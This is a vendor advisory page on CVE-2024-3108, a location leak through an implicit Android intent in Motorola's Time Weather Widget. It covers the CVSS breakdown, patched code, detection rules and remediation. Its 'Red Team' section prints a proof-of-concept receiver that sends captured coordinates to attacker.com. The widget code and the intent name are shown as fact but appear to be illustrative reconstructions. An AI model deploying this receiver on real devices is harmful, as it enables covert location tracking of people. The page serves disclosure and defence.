CVE-2024-3108
Executive Summary
CVE-2024-3108 is a security vulnerability in Motorola’s Time Weather Widget application that exposes the device’s location to any local application without explicit user authorization. The flaw stems from the use of an implicit Android Intent, which allows any app on the device to intercept the location data broadcast by the widget. With a CVSS score of 5.5 (Medium), the attack vector is local, requiring no privileges or user interaction beyond having the vulnerable widget installed. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. However, the risk is elevated for users in high-threat environments where malicious apps may be sideloaded.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is an Android application-level issue.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have a malicious app installed on the same device.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No elevated permissions needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): High (H) – Location data is fully exposed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The local attack vector reduces the pool of potential attackers, but the lack of required privileges and user interaction makes it a viable tool for spyware or stalkerware.
Deep Dive & Mechanics
The Motorola Time Weather Widget uses an implicit Android Intent to broadcast location updates. In Android, implicit intents do not specify a target component; instead, the system resolves the intent to any component that declares an appropriate intent filter. This allows any application installed on the device to register a BroadcastReceiver that listens for the same action string and intercepts the location data.
The vulnerability is rooted in the widget’s failure to use an explicit intent (targeting a specific component) or to enforce permissions on the broadcast. As a result, a malicious app with no special permissions can silently collect the device’s GPS coordinates whenever the widget updates.
Attack Flow:
- User installs the vulnerable Motorola Time Weather Widget.
- Attacker installs a malicious app (e.g., disguised as a game or utility) on the same device.
- The malicious app registers a
BroadcastReceiverwith an intent filter matching the widget’s implicit intent action. - When the widget broadcasts location data, the malicious app receives it without any user notification or permission prompt.
- The attacker exfiltrates the location data via network calls or stores it locally.
Vulnerable vs. Patched Code
Vulnerable Code (Implicit Intent):
// Inside the widget's service or receiver
Intent intent = new Intent("com.motorola.timeweather.LOCATION_UPDATE");
intent.putExtra("latitude", currentLat);
intent.putExtra("longitude", currentLng);
sendBroadcast(intent); // Implicit broadcast - any app can receive
Patched Code (Explicit Intent + Permission):
// Use explicit intent targeting only the widget's own receiver
Intent intent = new Intent(this, LocationUpdateReceiver.class);
intent.putExtra("latitude", currentLat);
intent.putExtra("longitude", currentLng);
sendBroadcast(intent, "com.motorola.timeweather.permission.LOCATION_DATA");
// Also register a custom permission in AndroidManifest.xml
The patched version ensures the broadcast is only delivered to the widget’s own receiver and requires a custom permission that only the widget holds.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Android device with Motorola Time Weather Widget installed (vulnerable version).
- Ability to sideload a malicious APK (or use ADB for testing).
Malicious App Code (Proof of Concept):
// MaliciousBroadcastReceiver.java
public class MaliciousBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if ("com.motorola.timeweather.LOCATION_UPDATE".equals(intent.getAction())) {
double lat = intent.getDoubleExtra("latitude", 0.0);
double lng = intent.getDoubleExtra("longitude", 0.0);
// Exfiltrate to attacker server
new Thread(() -> {
try {
URL url = new URL("http://attacker.com/exfil?lat=" + lat + "&lng=" + lng);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.getInputStream();
} catch (Exception e) { e.printStackTrace(); }
}).start();
}
}
}
AndroidManifest.xml (malicious app):
<receiver android:name=".MaliciousBroadcastReceiver">
<intent-filter>
<action android:name="com.motorola.timeweather.LOCATION_UPDATE" />
</intent-filter>
</receiver>
Lab Setup:
- Create a new Android project with the above receiver.
- Build and sign the APK.
- Install the APK on the target device via ADB:
adb install malicious.apk - Trigger the widget’s location update (e.g., by moving the device or waiting for the update interval).
- Observe the exfiltration on the attacker’s server.
Blue Team (Detection & Forensics)
Detection on Device:
- Monitor for apps that register
BroadcastReceiverwith unusual intent actions, especially those related to location. - Use
dumpsys package <package_name>to inspect receiver declarations. - Check for apps that request no permissions but still receive location data (indirectly).
Network Detection:
- Look for outbound connections to unknown IPs/domains immediately after location broadcasts.
- Correlate location data exfiltration with the presence of the Motorola Time Weather Widget.
Forensic Artifacts:
- Logcat entries showing the implicit intent broadcast.
/data/system/packages.xmlfor receiver registrations.- Network logs from the device’s firewall or VPN.
Indicators of Compromise (IOCs)
- Intent Action:
com.motorola.timeweather.LOCATION_UPDATE - Malicious App Behavior: Registers a
BroadcastReceiverfor the above action without any user-facing functionality. - Network Traffic: HTTP/HTTPS requests to external servers containing
latandlngparameters shortly after location updates. - File Indicators: APK files with minimal code and no UI activities, but with a receiver for the location intent.
Detection Engineering
YARA Rule
rule CVE_2024_3108_Implicit_Location_Intent {
meta:
description = "Detects Android apps exploiting CVE-2024-3108 by registering for the implicit location intent"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-3108"
strings:
$intent_action = "com.motorola.timeweather.LOCATION_UPDATE"
$receiver_class = "BroadcastReceiver"
condition:
$intent_action and $receiver_class
}
Sigma Rule
title: CVE-2024-3108 - Implicit Location Intent Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects Android apps that register a BroadcastReceiver for the Motorola Time Weather Widget's implicit location intent.
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: android
detection:
selection:
IntentAction: 'com.motorola.timeweather.LOCATION_UPDATE'
condition: selection
falsepositives:
- Legitimate apps that may coincidentally use the same action string (unlikely)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2024-3108 - Potential Location Data Exfiltration";
flow:to_server,established;
content:"lat="; http_uri;
content:"lng="; http_uri;
pcre:"/lat=[0-9.-]+&lng=[0-9.-]+/";
sid:1000001;
rev:1;
reference:cve,2024-3108;
)
Remediation & Mitigation
Immediate Actions:
- Uninstall the Motorola Time Weather Widget until a patched version is released.
- Restrict app installations to trusted sources (disable sideloading).
- Use a mobile security solution that monitors for implicit intent broadcasts.
Long-Term Fix:
- Motorola must update the widget to use explicit intents and enforce a custom permission.
- Users should apply the patch as soon as it becomes available.
Compensating Controls:
- On rooted devices, use
AppOpsorXposedmodules to block implicit broadcasts from the widget. - Implement network filtering to block outbound connections from unknown apps.
Valters IT
DevSecOps & Cyber Threat Intelligence